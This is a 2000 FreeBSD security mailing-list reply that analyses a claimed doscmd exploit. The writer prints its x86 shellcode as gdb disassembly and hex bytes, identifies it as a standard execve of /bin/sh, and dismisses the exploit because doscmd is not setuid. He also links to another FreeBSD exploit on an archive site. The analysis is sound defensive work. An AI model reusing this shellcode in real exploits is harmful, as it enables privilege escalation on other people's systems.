Date: Wed, 16 Feb 2000 09:41:39 -0700 (MST) From: Paul Hart <hart@iserver.com> To: Brett Glass <brett@lariat.org> Cc: freebsd-security@FreeBSD.ORG Subject: Re: Doscmd Message-ID: <Pine.BSF.4.21.0002160923340.66839-100000@anchovy.orem.iserver.com> In-Reply-To: <4.2.2.20000215235704.043169d0@localhost>
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On Tue, 15 Feb 2000, Brett Glass wrote:
> If it relies on doscmd being suid, then it would fail. But
> I have wondered whether control of your descriptor tables would
> let you hack the system. What's in that machine language?
Nothing interesting. Just the standard exec-a-shell code:
(gdb) x/19i 0x80487d7
0x80487d7 <_fini+7>: jmp 0x80487fc <_fini+44>
0x80487d9 <_fini+9>: popl %esi
0x80487da <_fini+10>: leal (%esi),%ebx
0x80487dc <_fini+12>: movl %ebx,0xb(%esi)
0x80487df <_fini+15>: xorl %edx,%edx
0x80487e1 <_fini+17>: movl %edx,0x7(%esi)
0x80487e4 <_fini+20>: movl %edx,0xf(%esi)
0x80487e7 <_fini+23>: movl %edx,0x14(%esi)
0x80487ea <_fini+26>: movb %dl,0x19(%esi)
0x80487ed <_fini+29>: xorl %eax,%eax
0x80487ef <_fini+31>: movb $0x3b,%al
0x80487f1 <_fini+33>: leal 0xb(%esi),%ecx
0x80487f4 <_fini+36>: movl %ecx,%edx
0x80487f6 <_fini+38>: pushl %edx
0x80487f7 <_fini+39>: pushl %ecx
0x80487f8 <_fini+40>: pushl %ebx
0x80487f9 <_fini+41>: pushl %eax
0x80487fa <_fini+42>: jmp 0x8048814 <_fini+68>
0x80487fc <_fini+44>: call 0x80487d9 <_fini+9>
(gdb) x/1i 0x8048814
0x8048814 <_fini+68>: lcall 0x407,0x4040404
(gdb) x/19xb 0x8048801
0x8048801 <_fini+49>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x01
0x8048809 <_fini+57>: 0x01 0x01 0x01 0x02 0x02 0x02 0x02 0x03
0x8048811 <_fini+65>: 0x03 0x03 0x03
(gdb)
For what it's worth, there is another so-called "exploit" for FreeBSD on
Packetstorm Security:
http://packetstorm.securify.com/0002-exploits/umount.c
I don't know about you, but my /sbin/umount isn't SUID either. ;-)
Paul Hart
--
Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc.
hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/
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